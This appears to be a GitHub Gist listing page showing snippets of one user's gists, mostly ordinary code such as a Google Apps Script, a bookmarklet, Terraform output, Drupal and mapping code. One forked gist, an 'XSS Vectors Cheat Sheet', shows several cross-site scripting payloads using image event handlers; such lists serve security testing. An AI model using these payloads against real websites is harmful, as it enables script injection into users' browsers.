Skip to content

Instantly share code, notes, and snippets.

@eeeschwartz
eeeschwartz / export_spreadsheet_to_calendar.js
Last active May 13, 2023 00:54
Google Apps Script to publish spreadsheet to calendar
function onOpen() {
var sheet = SpreadsheetApp.getActiveSpreadsheet();
var entries = [{
name : "Export Events",
functionName : "exportEvents"
}];
sheet.addMenu("Calendar Actions", entries);
};
function return1() {
@eeeschwartz
eeeschwartz / bookmarklet.html
Last active September 20, 2020 07:49
Extract questions from google form
<a href="javascript:void(function () {
var jsCode = document.createElement('script');
jsCode.setAttribute('src', 'https://gist.githubusercontent.com/eeeschwartz/6086efb174d6dc076fc6/raw/main.js');
document.body.appendChild(jsCode);
}())">Extract Qs</a>
@eeeschwartz
eeeschwartz / output.md
Created February 7, 2020 15:23
Terraform Helm Provider Debug Output
�Terraform v0.12.19
Initializing plugins and modules...
2020/02/07 15:09:36 [DEBUG] Using modified User-Agent: Terraform/0.12.19 TFC/05d298ef7d
null_resource.custom: Destroying... [id=5949662627807692286]
null_resource.custom: Destruction complete after 0s
local_file.kubeconfig: Creating...
local_file.kubeconfig: Creation complete after 0s [id=44acd74f3c09bea017b7ce102c8f55926af749ea]
null_resource.custom: Creating...
null_resource.custom: Provisioning with 'local-exec'...
@eeeschwartz
eeeschwartz / xss_vectors.txt
Created October 11, 2019 16:32 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@eeeschwartz
eeeschwartz / keybase.md
Created April 26, 2019 19:56
keybase proof

Keybase proof

I hereby claim:

  • I am eeeschwartz on github.
  • I am eeeschwartz (https://keybase.io/eeeschwartz) on keybase.
  • I have a public key ASClCxNQlHFNrC8Z4cSRFgaTDZbVseVvz_kGd2oKciivuAo

To claim this, I am signing this object:

@eeeschwartz
eeeschwartz / TermBreadcrumbBuilder.php
Last active July 16, 2018 19:14
Load breadcrumbs from a Drupal 8 node's taxonomy term
<?php
/**
* @file
* Contains \Drupal\taxonomy\TermBreadcrumbBuilder.
*/
namespace Drupal\taxonomy;
use Drupal\Core\Breadcrumb\BreadcrumbBuilderInterface;
@eeeschwartz
eeeschwartz / P5.6---Scalable-width,-accessible-tree-map-with-min-size---using-tables-and-D3.js(v3).markdown
Created March 31, 2015 00:33
P5.6 - Scalable width, accessible tree map with min size - using tables and D3.js(v3)

P5.6 - Scalable width, accessible tree map with min size - using tables and D3.js(v3)

This Tree Map is width scalable (based on parent), pulls the data in from table cells, has a minimum size on it's smallest elements (readability) a small screen device view and is fairly accessible (can tab into and through etc).

Please note this is not yet feature complete. This is a work in progress pen...

  • Pulls data from table TD's based on class names applied to the table header.
  • Script sets a min size (basically around 1/10th the max value) for data so they're generally readable and don't end up being tiny dots next to one massive box (some data isn't even close to being similar!) - This loses a little bit of the context but makes up for it by being more readable/usable in my opinion.
  • Each cell can now be tabbed through via keyboard (will be functional links shortly) - order is dependent on table row order - firefox has a bit
@eeeschwartz
eeeschwartz / diff-content-versions.js
Last active December 16, 2016 19:24
Diff bookmarklet
var $ = jQuery;
$.ajax({
url: $('link[rel="latest-version"').prop('href')
}).done(function(data){
var fullPageHTML = $.parseHTML(data);
var $contentB = $(fullPageHTML).find('.lex-region-content article');
$contentB.find('.workbench-moderation-entity-moderation-form').hide();
html2canvas($('.lex-region-content article'), {
@eeeschwartz
eeeschwartz / index.html
Last active November 12, 2016 20:03
leaf collection address lookup
<html>
<head>
<meta charset=utf-8 />
<title>Lexington Vacuum Leaf Collection Map</title>
<meta name='viewport' content='initial-scale=1,maximum-scale=1,user-scalable=no' />
<link rel="stylesheet" href="https://unpkg.com/leaflet@1.0.1/dist/leaflet.css" />
<link rel="stylesheet" href="https://unpkg.com/esri-leaflet-geocoder@2.1.4/dist/esri-leaflet-geocoder.css">
<style>
@eeeschwartz
eeeschwartz / index.html
Last active August 26, 2016 15:06
Esri-leaflet example: lexington council district 1
<!DOCTYPE html>
<html>
<head>
<!-- Load Leaflet from CDN-->
<link rel="stylesheet" href="http://cdn.leafletjs.com/leaflet-0.7.3/leaflet.css" />
<script src="http://cdn.leafletjs.com/leaflet-0.7.3/leaflet.js"></script>
<!-- Load Esri Leaflet from CDN -->
<script src="http://cdn.jsdelivr.net/leaflet.esri/1.0.0/esri-leaflet.js"></script>